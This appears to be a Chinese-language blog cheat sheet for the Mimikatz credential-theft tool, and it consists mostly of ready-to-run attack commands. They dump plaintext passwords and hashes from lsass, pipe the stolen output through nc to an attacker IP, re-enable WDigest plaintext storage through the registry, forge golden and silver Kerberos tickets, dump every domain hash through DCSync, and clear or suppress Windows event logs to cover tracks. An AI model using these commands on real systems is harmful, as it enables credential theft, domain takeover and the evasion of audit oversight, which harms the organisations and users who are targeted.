Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统。GitHub地址

提升权限

1
privilege::debug

mimikatz 很多功能的使用需要管理员权限,也就是需要本地的 administrator 权限或者域内的管理员组内权限。如果是工作组环境,则必须得是 administrator 用户,而不能是管理员组内的用户。如果是域环境,则只要是域管理员组内用户即可。

命令提示

输入[错误的模块名]::得到模块列表

输入[正确的模块名]::得到模块对应参数

命令 描述
cls 清屏
exit 退出
version 查看版本
log 添加日志,mimikatz.log到当前目录

sekurlsa模块-枚举用户凭证

抓取系统明文密码

1
sekurlsa::logonpasswords

抓取用户NTLM哈希

1
sekurlsa::msv

使用Hashcat进行破解

导出lsass.exe进程中所有的票据

1
sekurlsa::tickets /export

将密码信息传回攻击机器

1
./mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit | nc -v 192.168.88.132 2333

image-20210916113947879

无法使用 mimikatz 读取到明文密码是因为微软在 Win7 之后就打了补丁 KB2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令,mimikatz 就读不到密码明文,但是该选项是可以手动开启:

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

kerberos模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
列出系统中的票据
kerberos::list
kerberos::tgt

清除系统中的票据
kerberos::purge

导入票据到系统中
kerberos::ptc 票据路径

生成黄金票据并导入,利用krbtgt的NTLM哈希
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /krbtgt:7aad81625fab43e7fdb3cd9f399c060c /ptt
kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt
生成黄金票据并导入,利用krbtgt的AES-256
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /aes256:93c335cce03858c917fa2ea98ca79f0b791c93c33ab17936784548114648cda7 /ptt
kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /aes256:krbtgt的AES256 /ptt

生成白银票据并导入
kerberos::golden /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /target:WIN2008.xie.com /service:cifs /rc4:290c699798b47b809500b3bbd4ed3e2f /user:administrator /ptt

lsadump模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(在域控上执行)查看域xie.com内指定用户krbtgt的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:xie.com /user:krbtgt

(在域控上执行)读取指定域所有用户的哈希
lsadump::dcsync /domain:beijing.xie.com /all /csv

(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch

从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive

从本地SAM文件中读取密码哈希
token::elevate

ProcDump + mimikatz

1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image-20210916135212663

将生成的lsass.dmp放到和mimikatz相同的目录

1
2
3
4
5
# 直接读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::tspkg" exit

# 读取明文密码 + Hash值 信息更全
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit

操作日志

image-20210916150316356

drop功能:patch events service 抓住这个事件服务防止它生成新的事件

clear:清除这个事件日志

image-20210916150347374

参考链接

https://www.cnblogs.com/-mo-/p/11890232.html

https://blog.csdn.net/qq_36119192/article/details/100634467

https://franci4.github.io/uncategorized/Mimikatz.html